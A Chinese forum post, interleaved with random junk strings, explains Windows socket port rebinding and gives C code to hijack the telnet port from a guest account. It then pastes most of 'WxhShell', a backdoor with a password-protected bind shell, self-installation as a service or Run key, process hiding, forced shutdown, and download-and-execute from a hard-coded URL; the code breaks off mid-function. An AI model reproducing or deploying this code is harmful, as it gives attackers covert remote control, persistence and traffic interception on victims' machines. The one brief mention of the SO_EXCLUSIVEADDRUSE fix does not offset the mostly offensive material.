-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 12hD*,A5j s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4\p%|G^hU vdQ#CG$/ saddr.sin_family = AF_INET; INp:; `4X.UPJ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5*-RIs! 2 m"n" 1;o= bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4[JF.O6} k9<UDg_ Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )ZBNw{nh QT73=>^B 这意味着什么?意味着可以进行如下的攻击: {:VK}w -$:*!55:j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Skr0WQ
bKK'U4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z07&P;W!{ p~=z)7%e' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .-mIU.Nwi #1\`!7TO3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !L
q'o? }7b{ZbDI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =EM<LjO i>[xN[U( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m[Ihte-> (VI(Nv:o@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bc~$" <Opw"yY&q] #include u0sN[< #include 3)LS#= #include XOQ0(e6 #include ?wv3HN DWORD WINAPI ClientThread(LPVOID lpParam); W94 u7a int main() V9}\0joM { );iJ9+ V} WORD wVersionRequested; 1@ &J"* DWORD ret; R@5eHP^ WSADATA wsaData; =_iYT044p BOOL val; 5lP8#O?= SOCKADDR_IN saddr; C;/ONF
SOCKADDR_IN scaddr; E3[9!L8gb int err; DbB<8$ SOCKET s; \b"|p%CL8 SOCKET sc; 'nh2} int caddsize; NF4(+E9g HANDLE mt; s5+;8u9K DWORD tid; oQV3 wVersionRequested = MAKEWORD( 2, 2 ); ,30lu a err = WSAStartup( wVersionRequested, &wsaData ); vO~w~u5 if ( err != 0 ) { RrCG(Bh printf("error!WSAStartup failed!\n"); IBeorDIZ return -1; YcwDNsk } 9W\"A$;+& saddr.sin_family = AF_INET; T+EwC)Ll 0<uLQVoR2n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pM+9K:^B =-/'$7R, saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {d xl8~/I saddr.sin_port = htons(23); H Q[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <oT1&C{ { B6TE9IoSb8 printf("error!socket failed!\n"); 5{+2#- return -1; }:{ @nP } YT'V/8US val = TRUE; qrj f //SO_REUSEADDR选项就是可以实现端口重绑定的 e1JHN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lg2I|Z6DH { [\<#iRcP printf("error!setsockopt failed!\n"); 8au Gz
," return -1; mOHOv61
} pCo3%( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6'e^np //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /AOGn?Z3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <A|z 6LCR ;~
] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <8?
F\x@ { &nVekE:! ret=GetLastError(); D4y!l~_,%M printf("error!bind failed!\n"); +HWFoK return -1; FNOsw\Bo } J1cz
D |( listen(s,2); LH+Bu%s while(1) RyukQY~<W { H<q|je}e caddsize = sizeof(scaddr); 09P2<oFLn //接受连接请求 u9,dSR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1'(";
0I if(sc!=INVALID_SOCKET) q27q/q8 { `EvO^L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LD
NdHG6 if(mt==NULL) FJ!`[.t1AU { M;3q.0MU printf("Thread Creat Failed!\n"); !T:7xEr break; 4Y3@^8h&= } xhho{ } q&&"8.w- CloseHandle(mt); U&Atgv } U=j`RQ 9, closesocket(s); TNN@G~@cm WSACleanup(); AX6:*aZB return 0; K8-1?-W } #
c1LOz DWORD WINAPI ClientThread(LPVOID lpParam) 5Rw2/J
L { e:4,rfF1 SOCKET ss = (SOCKET)lpParam; Y?0x/2< SOCKET sc; JBOU$A~ unsigned char buf[4096]; }aa]1X(u SOCKADDR_IN saddr; /g9^g( long num; R)$]r>YZF DWORD val; 3*j1v:x` DWORD ret; TC'SDDX //如果是隐藏端口应用的话,可以在此处加一些判断 -$=RQH$9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 aQY.96yo saddr.sin_family = AF_INET; 62.Cq!~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G.@K#a9 saddr.sin_port = htons(23); Xg1TX_3Ml if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a_[+id { tP2.D:( R printf("error!socket failed!\n"); *&]8rm{ return -1; "5FP$oR } S5F5Tr;TN val = 100; {2 T:4i5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F=*t]X[z} { \Wppl,"6c ret = GetLastError(); <jYyA]Zy5 return -1; Pj g# } IN#/~[W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QqW N7y_9 { + `'wY? ret = GetLastError(); CK4#ZOiaa return -1; ]g oVQ'Y } 8p}z~\J{a: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =s'H o { {|<r7K1< printf("error!socket connect failed!\n"); 7.2 !g}E closesocket(sc); "7Kw]8mRR closesocket(ss); iK1{SgXrFI return -1; 5"!K8
N
} z52F-< while(1) @V1FBw9S!@ { Ygg(qB1q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QKvaTy# //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xq37:E2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /4+zT?f num = recv(ss,buf,4096,0); ('BB9#\t if(num>0) ^c.pvC"4j send(sc,buf,num,0); rP"Y.;s else if(num==0) y/_= break; }7{(o- num = recv(sc,buf,4096,0); ##F$8d)q if(num>0) %a0q|)Nrj send(ss,buf,num,0); S7cD}yx*[ else if(num==0) i88`W&tI{ break; (k"0/*F4_ } =Ov,7<8o closesocket(ss); [4IqHe closesocket(sc); |na9I6 return 0 ; Sa.nUj{M= } .v+J@Y a aWLA6A+C& O)&ME ========================================================== l$l6,OzS@ g2LvojR 下边附上一个代码,,WXhSHELL ;BWWafZ &A/b9GW^- ========================================================== 7OXRR)]V `2V{]F #include "stdafx.h" 8<Yv:8%B6 >
9z-/e #include <stdio.h> 4PU@W o #include <string.h> lY,9bSF$ #include <windows.h> "?
V;C #include <winsock2.h> 4-'0# a #include <winsvc.h> &lzCRRnvt #include <urlmon.h> tN.BI1nB ,5t_}d|3C= #pragma comment (lib, "Ws2_32.lib") @ZV>Cl@%2 #pragma comment (lib, "urlmon.lib") hmb=_W ?,hGKSC #define MAX_USER 100 // 最大客户端连接数 z
[u!C/ #define BUF_SOCK 200 // sock buffer KlBT9"6" #define KEY_BUFF 255 // 输入 buffer l#+@!2z |r+hj<K #define REBOOT 0 // 重启 _XrlCLp: d #define SHUTDOWN 1 // 关机 @&Yl'&pn-R !>K=@9NC|. #define DEF_PORT 5000 // 监听端口 v6x jLP;O 33hP/p% #define REG_LEN 16 // 注册表键长度 m#6p=E #define SVC_LEN 80 // NT服务名长度 ~e){2_J&n b1=! "Y@ // 从dll定义API E J6|y' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SwrzW'%A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B*QLKO:)i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i#4E*B_- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2#UVpgX? q_>=| b // wxhshell配置信息 u^VQwu6?G struct WSCFG { d]E.F64{ int ws_port; // 监听端口 76c:*bZ char ws_passstr[REG_LEN]; // 口令 we*E}U4 int ws_autoins; // 安装标记, 1=yes 0=no >w\3.6A char ws_regname[REG_LEN]; // 注册表键名 }ri7@HCY4 char ws_svcname[REG_LEN]; // 服务名 $\20Vgu< char ws_svcdisp[SVC_LEN]; // 服务显示名 'Q*lp!2> char ws_svcdesc[SVC_LEN]; // 服务描述信息 XwU1CejP0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n4+^f~Y int ws_downexe; // 下载执行标记, 1=yes 0=no 8N#.@\'kz. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" D42!# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4Xv."L |oR{c%z05 }; brF) %x` O#vIn} // default Wxhshell configuration "*d%el\63 struct WSCFG wscfg={DEF_PORT, %]F{aR "xuhuanlingzhe", HXqG;Fds( 1, b|@f!lA "Wxhshell", scd}{Y "Wxhshell", 3%N!omAe "WxhShell Service", N{!@M_C^%R "Wrsky Windows CmdShell Service", A_J!VXq "Please Input Your Password: ", Nlm3RxSn 1, }:b) =fs " http://www.wrsky.com/wxhshell.exe", c&SSf_0O* "Wxhshell.exe" Y#U0g|UDn }; W[73q>' #'y^@90R // 消息定义模块 N\hHu6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h>|IA@;|f char *msg_ws_prompt="\n\r? for help\n\r#>"; ]XfROhgP= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *}ZKQ char *msg_ws_ext="\n\rExit."; 3.?oG5P# char *msg_ws_end="\n\rQuit."; x$bCbg char *msg_ws_boot="\n\rReboot..."; 5@i(pVWZ char *msg_ws_poff="\n\rShutdown..."; r"KW\HN8 char *msg_ws_down="\n\rSave to "; >T29kgF2 7 /DDQ char *msg_ws_err="\n\rErr!"; >?$qKu char *msg_ws_ok="\n\rOK!"; {=y~O M_;hfpJZ char ExeFile[MAX_PATH]; N#X(gEV int nUser = 0; 95tHire HANDLE handles[MAX_USER]; ::Di int OsIsNt; P"+K'B7K3 EI&)+cC SERVICE_STATUS serviceStatus; l9NET SERVICE_STATUS_HANDLE hServiceStatusHandle; ^JB5-EtL( P;p20+ // 函数声明 TaTw,K|/ int Install(void); O-<nLB!Wf int Uninstall(void); =l}XKl-> int DownloadFile(char *sURL, SOCKET wsh); DDU)G51>d int Boot(int flag); $-mwr,i void HideProc(void); 6
&MATMR int GetOsVer(void); W
-5wjc int Wxhshell(SOCKET wsl); X]Ma:1+ void TalkWithClient(void *cs); ItQ3|-^ int CmdShell(SOCKET sock); {F*81q\ int StartFromService(void); (#r>v
h ( int StartWxhshell(LPSTR lpCmdLine); 9Jf.Ls <\5E{/7Tl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :c&F\Q= VOID WINAPI NTServiceHandler( DWORD fdwControl ); pQBhheiM 9%bqY9NFd // 数据结构和表定义 W}> wRy SERVICE_TABLE_ENTRY DispatchTable[] = /y5a~3 { +{{'3=x9 {wscfg.ws_svcname, NTServiceMain}, *JY2vq {NULL, NULL} Q-$EBNz }; f`,isy[ xz vbjS W // 自我安装 "]1|%j int Install(void) 2c8e:Xgv { P&8QKX3
j^ char svExeFile[MAX_PATH]; 7?~*F7F HKEY key; 4-\gha strcpy(svExeFile,ExeFile); vsCy? @:G#[>nKe // 如果是win9x系统,修改注册表设为自启动 L ]Dl}z if(!OsIsNt) { soB5sFt&] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9uA2M!~i2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zd[6-/-: RegCloseKey(key); 4.i< `' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WH0$v#8`v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .^JsnP RegCloseKey(key); *bTR0U return 0; `1U?^9Nf } rtgu{m02 } CXhE+oS5z' } 4qLH3I[Y else { Qf(mn8 )\Ay4d // 如果是NT以上系统,安装为系统服务 W{*w<a_` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sRf?JyB if (schSCManager!=0) OLgW.j:Ag { [n9X5qG~ SC_HANDLE schService = CreateService Q.])En >i ( AU/L_hg schSCManager, F\hU
V[ wscfg.ws_svcname, jM|-(Es.) wscfg.ws_svcdisp, d"hW45L SERVICE_ALL_ACCESS, jMB&(r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -PH!U Hg SERVICE_AUTO_START, 2ID]it\5 SERVICE_ERROR_NORMAL, #MI4 `FZ svExeFile, t"L-9kCM NULL, e8ZMB$byP NULL, p7d[)*
L>C NULL, *^-~J/ NULL, n*GsM6Y& NULL bpWEF b'f ); !Won<:.[0 if (schService!=0) Lb%Wz*Fa%! { uS,XQy2 CloseServiceHandle(schService); K#<cuHGC CloseServiceHandle(schSCManager); Ju 0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lQnqPQY strcat(svExeFile,wscfg.ws_svcname); u'Ua ++a\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &KZr`"cT# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s.uV,E*wu RegCloseKey(key); dAj;g9N/h return 0; C@Fk } y72=d?]W } &^!vi2$5} CloseServiceHandle(schSCManager); ;p4|M } [qGj*`@C } lZ` CFZR0 R#i{eE*WF return 1; \z>L,U } ,"Nfo`7 Yr9!</;T // 自我卸载 {E+o+2L int Uninstall(void) !XJS"o wr { b )mU9 HKEY key; E[N3`" Y$ To)qo if(!OsIsNt) { j)neVPf%v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AUvUk<a RegDeleteValue(key,wscfg.ws_regname); 8@Kvh| RegCloseKey(key); BYBf`F)4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q(J6;s#b RegDeleteValue(key,wscfg.ws_regname); C:WXI;*cr RegCloseKey(key); _R?:?{r, return 0; LmQS;/: } cK(S{|F } ;"77?) } @3F 4Lg6H| else { & NO:S xJ18M@"j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =6N%;2`84 if (schSCManager!=0)
|wFfVDp { `"* ]C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mlmp'f if (schService!=0) 93aRWEu3 { i)pAFv<$, if(DeleteService(schService)!=0) { CtO `t5 CloseServiceHandle(schService); !jeoB CloseServiceHandle(schSCManager); /)Pf ] return 0; ~jDG&L } Fuuy_+p@G CloseServiceHandle(schService); @{|vW } lSu\VCG CloseServiceHandle(schSCManager); B]o5HA<k } 2#y!(D8 } V"T48~Ue j(|9>J*,~G return 1; /Dl{I7W } XAb!hc
>)sB#<e // 从指定url下载文件 TzJp3 int DownloadFile(char *sURL, SOCKET wsh) pSvqGJU3 { vl{G;[6 HRESULT hr; ?!4xtOA char seps[]= "/"; V#Hg+\{d char *token; d 18>0R char *file; };z[x2l^ char myURL[MAX_PATH]; &u@<0 1= char myFILE[MAX_PATH]; I|27%i TNHkHR[& strcpy(myURL,sURL); iksd^\]f token=strtok(myURL,seps); AP8YY8,
while(token!=NULL) X4"D Lt" { sr+Y"R file=token; 4*K~6Vh token=strtok(NULL,seps); 5w#
Ceg9 } 2tq~NA\#t Kn!n}GtR GetCurrentDirectory(MAX_PATH,myFILE); 0"*!0s~
strcat(myFILE, "\\"); rLU+-_ strcat(myFILE, file); Y30e7d* qr send(wsh,myFILE,strlen(myFILE),0); E9]/sFA-] send(wsh,"...",3,0); ZT\=:X*e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {b<;?Du s^ if(hr==S_OK) jC;^2e return 0; EPE9HvN else [-*1M4D9 return 1; gg-4ce/ U0PQ[Y#\ } VKjDK$ }5 2] // 系统电源模块 a=m7pe^ int Boot(int flag) xTy[X"sJ { yMQZulCWE HANDLE hToken; @w H+,]xE TOKEN_PRIVILEGES tkp; Vh WF(* 5V|D%t2N if(OsIsNt) { <)vjoRv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]%RX\~Q.4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K|n$-WDG} tkp.PrivilegeCount = 1; ^WZcM#~TL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |)7dh B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? ^EB"{ if(flag==REBOOT) { Y~|C]O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mkR1iY return 0; a<W[???m/M } 1h"CjOp,7 else { u9.x31^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -W^jmwM return 0; Y'75DE<BC } x2^Yvgc- } %(c5T)B9 else { Kn
WjP21 if(flag==REBOOT) { !yo/ F&6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^sWsP` DV return 0; 9q##) } !zd]6YL$ else { qB`-[A9HPe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KNkVI K return 0; `YZK$
-, } tKnvNOhn } 9{{|P= J73B$0FP return 1; [_jd } 8f^QO: (dL;A0L // win9x进程隐藏模块 *@XJ7G[ void HideProc(void) ;Y&<psQeb { 1kiS."77x k,~I>qg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HF3W,eaqK if ( hKernel != NULL ) b
V)mO@N~w { <$f7&6B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1YGj^7V)|Z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w
$\p\}~, FreeLibrary(hKernel); Tn$/9<Q } 1@ e22\ u x[h\Tp return; rNdeD~\ } 0I8w'/s_g9 pwiXA{ // 获取操作系统版本 =Me94w>G3X int GetOsVer(void) V/=NIeSE { {Z529Ns OSVERSIONINFO winfo; :GXD-6}^| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \m>mE/N GetVersionEx(&winfo); QbF!V%+a's if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SMMV$;O{9 return 1; Y7|R vLWoP else *u2pk>y) return 0; -P+@n)?T6 } Ca SoR | Ya#,\;dTT // 客户端句柄模块 6' 9ITA int Wxhshell(SOCKET wsl) o3_dHbdI { 9q?\F SOCKET wsh; sHk,#EsKH struct sockaddr_in client; 8{m5P8w' DWORD myID; X=:|v<E
xKilTh_.6 while(nUser<MAX_USER) ?!N@%R>5rN { hdi/ k!9[\ int nSize=sizeof(client); ;1S~'B&1Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mr5E\~K>s if(wsh==INVALID_SOCKET) return 1; @~4Q\^;NX e?Pzhha handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5 A/[x$q if(handles[nUser]==0) ,rvw E closesocket(wsh); S%h[e[[fST else >)/,5VSE nUser++; Orb('Z,-3 } 2D5S%27, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9WXJz; C q/936`O return 0; Q7 dXTS4H } Im
NTk -~nU&$ccL // 关闭 socket Hs%;uyI@$ void CloseIt(SOCKET wsh) ])d_B\)Kck { j%2l%Mx( closesocket(wsh); px@:t} nUser--; q,#j
* ExitThread(0); [D]9M"L,vQ } xQ4'$rL1d ^)r^k8y' // 客户端请求句柄 On[:]# void TalkWithClient(void *cs) ~Rs_ep'+Q2 { rf2+~B{$, YbMeSU/sX SOCKET wsh=(SOCKET)cs; _\HMF char pwd[SVC_LEN]; 8\z5* IPGs char cmd[KEY_BUFF]; K$S:V=y%r7 char chr[1]; 8Ol#-2>k$ int i,j; SF$]{
X Pj4WWK X while (nUser < MAX_USER) { -&PiD h0YIPB if(wscfg.ws_passstr) { o"O=Epg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bITc9Hqc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JGP<'6"L$ //ZeroMemory(pwd,KEY_BUFF); +-~:E_G i=0; WaU+ZgDrG while(i<SVC_LEN) { W`baD!* &kR +7 // 设置超时 +*dG'U6 fd_set FdRead; MXSN
< struct timeval TimeOut; }gk37_}X\I FD_ZERO(&FdRead); l8I`%bu FD_SET(wsh,&FdRead); gW{<:6}!* TimeOut.tv_sec=8; 'cs!(z-{x TimeOut.tv_usec=0; KO`ftz3 + int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k7rFbrLZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); % D]vKv~< zTDB]z!A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?(9/V7HQ.5 pwd =chr[0]; t>D|1E" if(chr[0]==0xd || chr[0]==0xa) { %SKp<>;9 pwd=0; Uu~7+oaQ break; <h(KIY9T } tx$kD2 i++; jo75MSj } l+6y$2QR }T@^wY_Ow // 如果是非法用户,关闭 socket J%G
EIe| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vwVK^B } &PHejG_# /az}<r8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .A;e`cKb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _[zZm* I{8fTod while(1) { hT`kma dP>~ExYtm ZeroMemory(cmd,KEY_BUFF); 6S#Y$2
P 8@Zg@>, // 自动支持客户端 telnet标准 +mM=`[Z`?? j=0; =T73660 while(j<KEY_BUFF) { ?F{sym@i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hlY]s
&0 cmd[j]=chr[0]; Lu.D,oP if(chr[0]==0xa || chr[0]==0xd) { q^:>sfd cmd[j]=0; ~r<@`[-L break; x-wIgo+ } g@IV|C(*0 j++; 1 &24:& } n#jBqr&!M ;7id![KI4 // 下载文件 ^SP/&w<c if(strstr(cmd,"http://")) { cE{hy7cH send(wsh,msg_ws_down,strlen(msg_ws_down),0); XILB>o.^3 if(DownloadFile(cmd,wsh)) _a;E> send(wsh,msg_ws_err,strlen(msg_ws_err),0); }2WscxL else ~r/"w'dB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3AKT>Wy = } 'r&az BO else { 42`%D RCXm</
switch(cmd[0]) { l;*/F`>c PI
KQ}aq= // 帮助
]/l" case '?': { "Di27Rq send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !Tc
jJ2T break; OT1 } @ |bN[X L // 安装 4(
Q_J4}P case 'i': { L-&N* if(Install()) j7(sYo@x7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Aa}q(}k else kF%EJuu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U_s3)/' break; [i[*xf-B } #Tc]L<." // 卸载 8fV.NCyE case 'r': { o1Bn^w if(Uninstall()) =>?;Iv'Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@N z else CSKOtqKQ) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C`G+b{o break; L]wWJL } 9((BOq // 显示 wxhshell 所在路径 ~m/nV81 case 'p': { Xk9mJ]31LC char svExeFile[MAX_PATH]; A
-C.Bi;/ strcpy(svExeFile,"\n\r"); ew13qpt)<L strcat(svExeFile,ExeFile); x)35}mi){L send(wsh,svExeFile,strlen(svExeFile),0); mf~JolucJ break; a
~s:f5S> } l dd8'2 // 重启 [
B{F(~O case 'b': { v|!u]!JM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;rgg O0Y if(Boot(REBOOT)) /{)}y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0bG[pp$[ else { Dno]N closesocket(wsh); \a#{Y/j3 ExitThread(0); 6?;U[eV } %G'{G break; 4>x$I9^Y! } /"(`oe< // 关机 z3n273W>6 case 'd': { hgYi ,e send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0V RV.Ml if(Boot(SHUTDOWN)) jHPkfwfAF send(wsh,msg_ws_err,strlen(msg_ws_err),0); *B4?(&0 else { 'E\/H17 closesocket(wsh); .Us)YVbk ExitThread(0); iXoEdt) } 0W_olnZ break; 2XX- } ]\~s83?X // 获取shell u%t/W0xi case 's': { .O yzM CmdShell(wsh); ZVelKI8> closesocket(wsh); ABx< Ep6 ExitThread(0); lfJvN break; c
-sc*.& } 8+*
1s7{ // 退出 1bz%O2U-( case 'x': { ?\Bm>p%+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p*NKM}
]I CloseIt(wsh); MG}rvzn@ break; }1xD*[W
} Cs!z3QU // 离开 w"Q/ 6#!K case 'q': { 1"\^@qRv# send(wsh,msg_ws_end,strlen(msg_ws_end),0); !:]/MpQ ? closesocket(wsh); +YJpVxYmZ WSACleanup(); HXeX! exit(1); ;L*Ku'6Mt break; ym_w09 } La2f]+sV } qjm6\ii:) } }'KHF0
vE~>9 // 提示信息 #+"1">l if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qWdob>u } r!N> FE } C8Oh]JF4d YigDrW return; E%b*MU } Y9}ga4 $~ >/_<~ // shell模块句柄 9#>t% IF~ int CmdShell(SOCKET sock) MaS-*;BY, { (y^svXU}a STARTUPINFO si; SG4)kQ ZeroMemory(&si,sizeof(si)); ?wi^R:2|j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )MWbZAI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (rieg F PROCESS_INFORMATION ProcessInfo; Fv} Uq\v[ char cmdline[]="cmd"; @$7'{* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tqFE>ojlI return 0; r}\m%(i } 3/{,}F$ j5:/Gl8 // 自身启动模式 4=nh'
U38 int StartFromService(void) >ufL RGL> { V[;^{,; typedef struct Z[G[.\0 { =h>jo&=Wad DWORD ExitStatus; |e_'%d& DWORD PebBaseAddress; `C&@6{L DWORD AffinityMask; 1YtbV3 DWORD BasePriority; f
q&(&(| ULONG UniqueProcessId; yog( ULONG InheritedFromUniqueProcessId; wM``vx[/ } PROCESS_BASIC_INFORMATION; h( DmSW 3E-dhSz:i PROCNTQSIP NtQueryInformationProcess; xFScj0Y
